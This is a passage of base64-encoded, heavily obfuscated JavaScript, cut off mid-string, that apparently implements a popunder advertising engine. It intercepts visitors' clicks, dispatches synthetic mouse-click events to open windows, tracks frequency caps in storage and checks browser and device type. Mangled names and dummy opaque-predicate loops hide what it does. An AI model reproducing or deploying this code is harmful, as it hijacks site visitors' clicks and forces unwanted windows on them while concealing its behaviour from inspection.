lOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09Rmk